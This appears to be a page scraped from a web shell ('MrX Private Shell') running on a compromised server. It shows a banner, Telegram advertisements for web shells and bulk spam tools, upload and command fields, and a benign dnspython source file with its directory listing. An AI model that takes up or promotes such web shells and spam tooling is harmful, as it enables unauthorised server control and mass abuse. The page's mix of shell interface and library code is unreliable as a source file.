__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license

# This implementation of the immutable decorator requires python >=
# 3.7, and is significantly more storage efficient when making classes
# with slots immutable.  It's also faster.

import contextvars
import inspect


_in__init__ = contextvars.ContextVar("_immutable_in__init__", default=False)


class _Immutable:
    """Immutable mixin class"""

    # We set slots to the empty list to say "we don't have any attributes".
    # We do this so that if we're mixed in with a class with __slots__, we
    # don't cause a __dict__ to be added which would waste space.

    __slots__ = ()

    def __setattr__(self, name, value):
        if _in__init__.get() is not self:
            raise TypeError("object doesn't support attribute assignment")
        else:
            super().__setattr__(name, value)

    def __delattr__(self, name):
        if _in__init__.get() is not self:
            raise TypeError("object doesn't support attribute assignment")
        else:
            super().__delattr__(name)


def _immutable_init(f):
    def nf(*args, **kwargs):
        previous = _in__init__.set(args[0])
        try:
            # call the actual __init__
            f(*args, **kwargs)
        finally:
            _in__init__.reset(previous)

    nf.__signature__ = inspect.signature(f)
    return nf


def immutable(cls):
    if _Immutable in cls.__mro__:
        # Some ancestor already has the mixin, so just make sure we keep
        # following the __init__ protocol.
        cls.__init__ = _immutable_init(cls.__init__)
        if hasattr(cls, "__setstate__"):
            cls.__setstate__ = _immutable_init(cls.__setstate__)
        ncls = cls
    else:
        # Mixin the Immutable class and follow the __init__ protocol.
        class ncls(_Immutable, cls):
            # We have to do the __slots__ declaration here too!
            __slots__ = ()

            @_immutable_init
            def __init__(self, *args, **kwargs):
                super().__init__(*args, **kwargs)

            if hasattr(cls, "__setstate__"):

                @_immutable_init
                def __setstate__(self, *args, **kwargs):
                    super().__setstate__(*args, **kwargs)

        # make ncls have the same name and module as cls
        ncls.__name__ = cls.__name__
        ncls.__qualname__ = cls.__qualname__
        ncls.__module__ = cls.__module__
    return ncls

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
quic Folder 0755
rdtypes Folder 0755
__init__.py File 1.61 KB 0644
_asyncbackend.py File 1.96 KB 0644
_asyncio_backend.py File 5.03 KB 0644
_curio_backend.py File 3.48 KB 0644
_immutable_ctx.py File 2.4 KB 0644
_trio_backend.py File 3.83 KB 0644
asyncbackend.py File 2.88 KB 0644
asyncquery.py File 24.68 KB 0644
asyncresolver.py File 10.24 KB 0644
dnssec.py File 42.17 KB 0644
dnssectypes.py File 1.76 KB 0644
e164.py File 3.88 KB 0644
edns.py File 13.69 KB 0644
entropy.py File 4.14 KB 0644
enum.py File 3.17 KB 0644
exception.py File 5.45 KB 0644
flags.py File 2.69 KB 0644
grange.py File 2.1 KB 0644
immutable.py File 1.79 KB 0644
inet.py File 4.9 KB 0644
ipv4.py File 2.02 KB 0644
ipv6.py File 6.05 KB 0644
message.py File 60.38 KB 0644
name.py File 33.62 KB 0644
namedict.py File 3.91 KB 0644
node.py File 12.37 KB 0644
opcode.py File 2.67 KB 0644
py.typed File 0 B 0644
query.py File 48.02 KB 0644
rcode.py File 4.06 KB 0644
rdata.py File 29.07 KB 0644
rdataclass.py File 2.91 KB 0644
rdataset.py File 16.67 KB 0644
rdatatype.py File 7.17 KB 0644
renderer.py File 10.42 KB 0644
resolver.py File 61.92 KB 0644
reversename.py File 3.74 KB 0644
rrset.py File 8.97 KB 0644
serial.py File 3.52 KB 0644
set.py File 8.88 KB 0644
tokenizer.py File 23.03 KB 0644
transaction.py File 21.12 KB 0644
tsig.py File 11.19 KB 0644
tsigkeyring.py File 2.58 KB 0644
ttl.py File 2.91 KB 0644
update.py File 11.96 KB 0644
version.py File 1.88 KB 0644
versioned.py File 11.5 KB 0644
win32util.py File 8.84 KB 0644
wire.py File 2.76 KB 0644
xfr.py File 12.96 KB 0644
zone.py File 49.86 KB 0644
zonefile.py File 26.84 KB 0644
zonetypes.py File 690 B 0644
Filemanager